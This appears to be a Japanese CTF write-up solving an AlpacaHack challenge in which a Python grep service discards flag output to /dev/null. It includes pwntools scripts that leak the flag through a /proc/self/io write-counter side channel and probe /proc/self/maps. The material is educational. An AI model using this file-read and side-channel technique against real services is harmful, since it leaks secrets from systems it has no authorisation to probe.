タイトルの命名規則をどうするか悩んでいます。
Daily AlpacaHack B-SIDE 2026/2/9–2026/2/12 の write-up です。
Daily AlpacaHack B-SIDE
— minaminao (@2llr) 2026年2月8日
新しい問題はVery Very Hard級で、まだ1 solveです
挑戦お待ちしています!https://t.co/09RvUeY6Yr pic.twitter.com/tHqf7SpQJY
むずかし〜〜。「A-SIDE の Hard を解いて調子に乗っていたえびちゃんを怖がらせましょう」か?みたいな気持ちで一日過ごしました。
B-SIDE はロゴがオサレでとても好きです。
やったことたち
① timing attacks
まず、“avoid timing attacks” と書いてありますが if "Alpaca" in line else None のところで処理に差自体はあるため、どうにかなる可能性はありうるか?と思いました。
ですがそもそも通信環境側の影響の方が大きく、とても現実的ではなさそうでした。
たぶん、たぶんですが、この方針で非常にがんばることで timing attacks を成功させるという想定で Very Very Hard を謳う思想の企画ではなさそうだよなと思ってこの方針は違うだろうなと思いました。
"flag.txt" "" を入力して下記の行が消えているのを見て、「たしかにそうなるか〜」と思ったりしましたが、あまりこれを使えそうな気はしませんでした。
print(line, file=FLAG_EATER if "Alpaca" in line else None)
② /proc/self/mem
さて、flag.txt を読みつつ "Alpaca" in line を False にできたらうれしいなという気持ちになり、次のような方針を考えました。
- 何らかの方法で flag.txt を上書きして、
*lpaca{...}のような文字列に変える - 何らかの方法で flag.txt を途中から読み、
lpaca{...}のような文字列を読むようにする
どちらも flag.txt を読むだけだとつらそうで、可能性があるとすれば、一度 flag.txt を読んだ後にメモリのどこかしらをどうにか読み書きするような策を考えるとかになるかなと思いました。
memo: この時点で、FLAG_EATER と DUMMY_EATER のどちらの fd を通して /dev/null に書き込んだか追えればうれしそうだよなという気持ちはありましたが、大変そうな気がしたので一旦後回しにしました。
CPython の実装はわかりませんが、fopen のような機構を使っているのであれば heap 領域にファイル読み書き用のバッファを設けていた記憶があるので、"/proc/self/maps" "[heap]" を指定してアドレスを見たりしました。ASLR の bypass はできるね〜という気持ちになりましたが、「で?笑」となりました。
/proc/self/mem を読もうとしましたが OSError: [Errno 5] Input/output error が出たので微妙そうです。seek 的な操作もできなさそうなので、あまり深追いしてもだめそうな気がしました。
適当に /dev/random とかを読もうとしてみると UnicodeDecodeError: 'utf-8' codec can't decode byte 0x9f in position 3: invalid start byte が出たので、メモリ上を適当に読めたとして UTF-8 として有効なバイト列ではないとだめという制約もあり、(読めたとしても)詰めるのが大変そうな気がしました。
③ /dev/**
flag.txt を直接読んでも意味がないですし、/usr/share/dict/words(などの普通のテキストファイル)も無意味そうで、読んでどうにかなりそうなファイルといったら /dev/** か /proc/** の 2 択だろうということで、一旦 /dev の方から試そうと思いました。
content = open(file or EXAMPLE_FILE).read(0x10000)
この部分で open() したものを close() していない(with 構文も使っていない)ので、/dev/fd/5 とかを読むことでどうにかなるかな?と思いました。
しかし、"flag.txt" "" を入れてから "/dev/fd/5" "" などを入れてみても FileNotFoundError: [Errno 2] No such file or directory: '/dev/fd/5' と出ます。
/dev/fd/{3,4} を読むと無が返ってきましたが、/dev/fd/{0..2} を読もうとすると OSError: [Errno 6] No such device or address: '/dev/fd/0' のようなエラーが返ってきました。
このへんは socat の都合? あまりわかっていませんが、socat 側を読もうとしたらなにか発見があるかなと思って /proc/1/fd/0 や /proc/1/maps などを見ましたが、あまり実りはありませんでした。
FLAG_EATER と DUMMY_EATER がそれぞれ /dev/fd/3 と /dev/fd/4 に相当すると思うので、open() したら /dev/fd/5 ができていてほしい気持ちになり、実験しました。
nobody@ec54248b6ec3:/app$ python3 -c 'import os; open("/etc/bash.bashrc"); print(os.listdir("/dev/fd"))' #> ['0', '1', '2', '3'] nobody@ec54248b6ec3:/app$ python3 -c 'import os; _ = open("/etc/bash.bashrc"); print(os.listdir("/dev/fd"))' #> ['0', '1', '2', '3', '4']
どうやら、そのまま読み捨てると /dev/fd 配下には残らないようです?
nobody@ec54248b6ec3:/app$ python3 -c 'import os; _1 = open("/etc/bash.bashrc"); _2 = open("/etc/bash.bashrc"); print(os.listdir("/dev/fd"))' #> ['0', '1', '2', '3', '4', '5'] nobody@ec54248b6ec3:/app$ python3 -c 'import os; _ = open("/etc/bash.bashrc"); _ = open("/etc/bash.bashrc"); print(os.listdir("/dev/fd"))' #> ['0', '1', '2', '3', '4'] nobody@ec54248b6ec3:/app$ python3 -c 'import os; _ = open("/etc/bash.bashrc"); _ = open("/etc/profile"); print(os.listdir("/dev/fd"))' #> ['0', '1', '2', '3', '4']
同じファイルでも別の変数に入れれば fd は増えるとか、変数を上書きした場合は fd は消えるとか、そういうことを試しました。
nobody@ec54248b6ec3:/app$ python3 -c 'import os; _1 = open("/etc/bash.bashrc"); _2 = open("/etc/bash.bashrc"); print(_1.fileno(), _2.fileno(), os.listdir("/dev/fd"))' #> 3 4 ['0', '1', '2', '3', '4', '5']
os.listdir() を使った場合も、そのディレクトリに相当する部分で fd が使われている?ぽい?
などを試しましたが、結局のところ grep.py において fd が増えないことがわかり、困ったな〜となりました。
実験の過程で、 grep.py を次のように変更していました。
@@ -1,8 +1,13 @@ +import os + EXAMPLE_FILE = "/usr/share/dict/words" FLAG_EATER = open("/dev/null", "w") DUMMY_EATER = open("/dev/null", "w") while True: + print(os.listdir("/proc/self/task")) + print(os.listdir("/proc/self/fdinfo")) + file = input(f"File (Default: {EXAMPLE_FILE}, Flag: flag.txt): ") pattern = input("Pattern: ") content = open(file or EXAMPLE_FILE).read(0x10000)
④ /proc/self/maps, [heap]
(いや〜〜わからんという気持ちは常にあり、適当な timing attacks の誘惑に何度か駆られましたが、割愛します。)
結局、FLAG_EATER を通して write をした場合と DUMMY_EATER を通して write をした場合とで何らかの差異を見つけるくらいしかないでしょうということになってきます。
- /proc/self/fdinfo/{fd} 的な機構で、それに対して最後に write した日時が書いてある場所が存在することを祈る
- 書き込みで何らかの方法でバッファリングされている前提で、heap 領域の拡張などが発生することを祈る
みたいなことが思い浮かびますが、前者に関しては調べた感じだと存在しなさそうでした。
ということで、後者に関してローカルでがちゃがちゃします。
experim.py
from pwn import * def nc(nc_comm): nc_argv0, host, port = nc_comm.split() return remote(host, int(port)) p = nc("nc localhost 1337") PROMPT_1 = b"File (Default: /usr/share/dict/words, Flag: flag.txt): " PROMPT_2 = b"Pattern: " def get_maps(): res = "" p.sendlineafter(PROMPT_1, b"/proc/self/maps") p.sendlineafter(PROMPT_2, b"") while True: line = p.recvline().decode() res += line if "[vdso]" in line: break return res p.sendlineafter(PROMPT_1, b"") p.sendlineafter(PROMPT_2, b"") s = ["Al"] * 10000 # 200 # s = ["Al"] * 100 + ["X"] * 10000 # 300 maps = "" for i in range(10000): print(f"{i}\r", end="") p.sendlineafter(PROMPT_1, b"flag.txt") p.sendlineafter(PROMPT_2, s[i].encode()) tmp = get_maps() if maps != tmp: print(f"=== {i} ======") print(tmp) maps = tmp if i > 0: break
どうやら、全部の出力が FLAG_EATER に行ったときと、両方の eater に行ったときで heap の広がり方に違いがありました(!)。
具体的には、どちらかの eater が 201 回目の出力をしたときに heap が広がっていそうで、FLAG_EATER に出力し続けると 201 回目に heap が広がりました。
一方、FLAG_EATER に 100 回出力してから DUMMY_EATER に出力し続けると(全体としては)301 回目に heap が広がりました。
差異が出たときには「wow〜〜」という気持ちでした。
ということでこの方針で exploit を書いたのですが、本番サーバに対してはうまくいきません。 さっきの実験で grep.py を変えたときの差分が本質か?ということで戻してみたところ、ローカルでもうまくいかなさが再現したので、「お前〜〜」となり revert しました。
とはいえ、概ね方針としてはこういう感じでいけるだろうという確信ができてきました。
memo: /usr/share/dict/words を読むと heap size が 0x30000 大きくなったり、2 回連続で読むと計 0x60000 大きくなったり、その後 flag.txt を読むと元に戻ったりすることなども観測しましたが、あまり実りはなさそうに感じました。
⑤ /proc/self/io (1)
ここからはもうめちゃくちゃで、/proc/self/* を全部試します。
/proc/self/environ を見てニヤニヤしたり(実りがない)、/proc/self/stat の utime の項目から timing attacks ができないか(結局それ?)とか、そんなことをしていました。 そんな中で一際輝いていたのが /proc/self/io です。
File (Default: /usr/share/dict/words, Flag: flag.txt): /proc/self/io Pattern: rchar: 33802 wchar: 64 syscr: 30 syscw: 2 read_bytes: 0 write_bytes: 0 cancelled_write_bytes: 0 File (Default: /usr/share/dict/words, Flag: flag.txt): /proc/self/io Pattern: rchar: 33913 wchar: 224 syscr: 34 syscw: 4 read_bytes: 0 write_bytes: 0 cancelled_write_bytes: 0
どうやら読み書きに応じて値が変わってくれるようです。各項の説明は proc_pid_io(5) に書いてあります。 ということで、次のように入力をして rchar の値を比較することで flag.txt のサイズを得ることができます。
"/proc/self/io"""→"flag.txt"""× 1 →"/proc/self/io""""/proc/self/io"""→"flag.txt"""× 2 →"/proc/self/io"""
前者は 33802 → 33941、後者は 33802 → 33969 でした。33969-33941 = 28 であることと、b"flag.txt\n" b"\n" で 10 bytes 読んでいること、flag.txt の末尾には改行文字が含まれているであろうこと(少なくとも配布ファイル的にはそう)から、結局 flag format は Alpaca\{[a-z_]{9}\} であろうと突き止められます。
この時点で頭がおかしくなっていたので、9 文字の単語を考えて Alpaca{minaminao} Alpaca{invisible} などを適当に提出しましたが当然不正解でした。そもそもこれが正解だったら flag format が Alpaca{[a-z_]+} ではなく Alpaca{[a-z]+} だろ〜という気持ちになりました。そこか?
あと 9 文字程度だったら timing attacks でどうにかなるんじゃないか?と思いました。なる気はしていません。
⑥ /proc/self/io (2)
気を取り直してがんばります。今度は wchar の方に着目します。
"/proc/self/io" "" → "flag.txt" "" × n → "/proc/self/io" "" のときの wchar の増分を表にします。
| n | Δwchar |
|---|---|
| 1 | 224 |
| 2 | 288 |
| 10 | 800 |
| 100 | 6560 |
| 1000 | 64160 |
| 10000 | 763279 |
1 回あたり 64 ずつ増えるのかな?という見た目をしています。これは b"File (Default: /usr/share/dict/words, Flag: flag.txt): " b"Pattern: " のバイト数に等しいです。
ですが、n = 10000 の行が明らかにおかしいです(偶奇からすぐわかる)。
/dev/fd/3 を通しての /dev/null への書き込みがバッファリングされていて、1000 と 10000 の間のどこかで flush されているのだろうと推測できます。
ということで二分探索などをして、境界値を次のように絞り込みます。
| n | Δwchar |
|---|---|
| 7293 | 466912 |
| 7294 | 466976 |
| 7295 | 467040 |
| 7296 | 590229 |
| 7297 | 590287 |
| 7298 | 590351 |
よって、flag.txt の内容を 7296 回出力すると、wchar の値からその事実を読み取れそうです(たぶんこの辺はバッファサイズやバッファリングの実装方式の都合だと思いますが、詳細は調べていません)。
⑦ SOLVED!
ということで、祈りつつ仕上げです。
- (
"flag.txt""A") × 7295 + ("flag.txt""B") - (
"flag.txt""A") × 7296
これらを与えたときで、Δwchar に差異があれば勝ちです。 実際に試すと、前者は 467104 で、後者は 590223 となりました(前者は 467040 + 64 であることがわかりますね)。ということで、次のような方針でフラグを得られそうです。
abcdefghijklmnopqrstuvwxyz_{}の中から、フラグに含まれる文字を特定する- 別にここはやらなくてもいいが、探索空間を狭められるため
- 1. で特定した文字集合を使い、
"A"から始めて 1 文字ずつ特定する"Alpaca{"から始めてもいいがなんとなく
exploit.py
from pwn import * def nc(nc_comm): nc_argv0, host, port = nc_comm.split() return remote(host, int(port)) PROMPT_1 = b"File (Default: /usr/share/dict/words, Flag: flag.txt): " PROMPT_2 = b"Pattern: " def get_wchar(p): p.sendlineafter(PROMPT_1, b"/proc/self/io") p.sendlineafter(PROMPT_2, b"") p.recvuntil(b"wchar: ") return int(p.recvline()) def contains(s): p = nc(NC) w1 = get_wchar(p) payload = (f"flag.txt\n{s}\n" * 7295 + "flag.txt\n@\n").encode() p.send(payload) w2 = get_wchar(p) p.close() return (w2 - w1 - 224) % 64 == 0 flag_chars = "abcdefghijklmnopqrstuvwxyz_{}" NC = "nc 34.170.146.252 32376" tmp = "" for c in flag_chars: if contains(c): tmp += c flag_chars = tmp print(f"{flag_chars = }") flag = "A" while True: for c in flag_chars: if contains(flag + c): flag += c print(f"+= {c}") break else: break print(flag)
以上により、フラグ Alpaca{busy_blue} を得られました。えびちゃんは存じ上げないのですが、調べた感じはなにかの曲名ですか? あるいは他に由来があるのかもしれません。おそらくは頭文字が B-SIDE とも掛かっているのかなという気がして、オサレさを感じていました。
所感
毎度ながら問題を作るのが上手だなあと思いました。
/dev/null に流すと「消える」みたいに言われがちですが、syscall を呼び出す側の者からするとその他のファイルと区別がつかない(はず?)ので、プログラム側では /dev/null 用に特殊なことをできるわけがないよなあとか、そういうことをちゃんと考えると解けるようになっていて面白いと思いました。もしかしたら別の解法もあるのかもしれません? あるのかな。
C とかのレイヤーのものはしばしば調べたりしていたのですが、CPython の open(), print() などについても気になりました。あと、これは前からですが /proc や /dev についても調べたいなと思っています。
その他
twitter.combatch sendというCTF典型(?)テクがあって、毎回recvせずに全部send→全部recvをすると1秒くらいになりますhttps://t.co/gQf1zjjJs1
— Yu (@Yu_212_MC) 2026年1月31日
You saved my day (and streak)!
でも早めに streak を切っておかないと後々苦しめられる日々が来ます。wafflegame を 1000 日くらい続けたえびちゃんが言います。 2025/12/5 の Integer Writer で沼っていきなり脱落していた世界線もたぶんあり得ました。
おわり
おわりです。